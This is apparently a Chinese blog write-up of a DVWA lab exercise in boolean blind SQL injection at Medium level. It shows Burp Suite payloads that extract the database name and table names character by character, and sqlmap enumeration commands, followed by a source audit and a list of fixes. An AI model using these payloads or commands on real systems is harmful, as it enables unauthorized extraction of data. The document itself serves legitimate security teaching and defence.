DVWA Medium Blind SQL Injection安全测试与防护分析
注意:有关Blind SQL Injection的基础知识与原理已在上篇文章指出,此处不再解释。
可参考该文章https://www.cnblogs.com/lky-sec/articles/21412117
本文仅用于网络安全学习与防御研究。所有测试均在本人本地部署、合法授权的 DVWA 靶场中进行,禁止将相关方法用于任何未授权系统
中等难度SQL盲注
一 测试范围与环境
本次测试目标为本地DVWA靶场中的Blind SQL Injection模块
| 项目 | 配置 |
|---|---|
| 测试环境 | 本地 DVWA 靶场 |
| 安全等级 | Medium |
| 测试系统 | Kali Linux |
| 测试工具 | Firefox、Burp Suite、sqlmap |
| 测试方式 | 黑盒测试、源码审计、自动化辅助验证 |
| 授权情况 | 本人本地靶场,合法授权 |
二 页面与请求分析
1.设置难度等级
进入 DVWA Security,将安全等级设置为 Medium,随后进入 SQL Injection (Blind) 模块。

2.观察模块正常功能
可从页面看到,和SQL Injection相同,都是通过下拉框的形式进行选择User ID进行提交

但是返回信息与SQL Injection不同,SQL盲注仅返回是否存在的信息,而具体内容并不会进行返回。

3.使用Burp Suite进行抓包分析
开启Burp Suite Proxy模块进行拦截,提交一次正常请求,观察HTTP请求方式以及参数。

由抓包结果可知,该模块使用 POST 请求向:/vulnerabilities/sqli_blind/提交数据,请求体为:id=1&Submit=Submit。
三 手工黑盒测试
1.使用Repeater模块
右键将正常请求发送到Burp Suite Repeater。

2.判断注入点与类型
修改拦截请求中的id参数,输入1' 返回用户不存在。

输入1 and 1=1# 返回用户存在。

输入1 and 1=2# 返回用户不存在。

结合三者输入与对应输出结果,可以判断存在注入点且注入类型为数字型布尔盲注
3.判断数据库名长度
利用length()函数逐步判断数据库名长度,输入1 and length(database())=数字# 发现数字为4时,返回用户存在,可判断出数据库名长度为4。

4.逐字符判断数据库名
使用ASCII(SUBSTRING(字符串,起始位置,截取长度))判断字符,此处我们使用Intruder模块。ASCII范围从32到126,模式为Sniper attack,类型为Numbers。

通过返回长度以及Response里的返回结果可知,第一个字符对应ASCII码为100,即该字符为d。

不断更改起始位置,最后重复上述过程,可知数据库名为dvwa。
5.判断当前数据库表数量
输入1 and (select count(table_name) from information_schema.tables where table_schema=database())=数字# 使用Intruder模块,最后判断出表数量为2。

6.判断第一张表名字长度
输入1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数字# 得出表长度为9。

7.逐字符判断表名
输入1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),起始位置,1))=数字# 得出表名为guestbook。
后续判断表字段数量,字段名省略,详细步骤可见引言链接文章。
四 sqlmap自动化验证
1.保存完整的HTTP请求
准备正常请求,页面重新提交用户,将拦截的请求制作成文件,打开终端,输入nano request.txt将刚才复制内容粘贴进去,保存。

2.使用sqlmap探测
输入sqlmap -r request.txt -p id 存在布尔盲注和时间盲注。

3.获取当前数据库
输入sqlmap -r request.txt -p id --current-db 验证数据库名确为dvwa。

4.获取表名
输入sqlmap -r request.txt -p id -D dvwa --tables 验证第一个表名确为guestbook。

5.获取guestbook表字段名
输入sqlmap -r request.txt -p id -D dvwa -T guestbook --columns 得出字段名comment、name和comment_id。

五 代码审计
1.点击view source查看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
2.源码分析
Medium等级首先使用mysqli_real_escape_string()对用户提交的id参数进行特殊字符转义,相比Low增加了一定防护。
但程序随后仍将$id直接拼接进SQL语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
由于id处于未加引号的数字型SQL上下文,因此仍可通过AND等逻辑条件改变原SQL语句结构。
同时,程序不会直接回显查询到的数据,而是通过mysqli_num_rows()判断是否存在结果,并返回User ID exists或User ID is MISSING。因此可以根据页面真假响应差异逐步推断数据库信息,形成布尔型盲注。
漏洞的根本原因仍然是用户输入直接参与SQL语句拼接,而没有使用参数化查询。
3.修复方案
1)对 id 参数进行严格的整数类型验证
2)使用参数化查询或预编译语句
3)对异常响应进行统一处理
4)使用数据库最小权限原则
5)增加异常请求日志与安全监控
六 Low与Medium差异
| 对比项 | Low | Medium |
|---|---|---|
| 请求方式 | GET | POST |
| 参数来源 | $_GET['id'] | $_POST['id'] |
| 页面输入 | 文本框,可直接输入 | 下拉框,但请求仍可被修改 |
| SQL 上下文 | 单引号包裹的字符串型 | 未加引号的数字型 |
| 输入处理 | 无任何过滤 | 使用 mysqli_real_escape_string() |
| 单引号影响 | 可破坏原有字符串边界 | 会被转义,但并非漏洞关键 |
| SQL 拼接 | 直接拼接 | 仍然直接拼接 |
| SQL 注入 | 存在 | 仍然存在 |
| 错误信息 | 使用 @ 抑制 | 使用 @ 抑制 |
| 条件为假时 | 返回 404 状态及“MISSING”提示 | 仅返回“MISSING”提示 |
| 盲注判断依据 | 响应内容和 HTTP 状态 | 响应内容 |
| 根本修复 | 参数化查询 | 参数化查询 |

浙公网安备 33010602011771号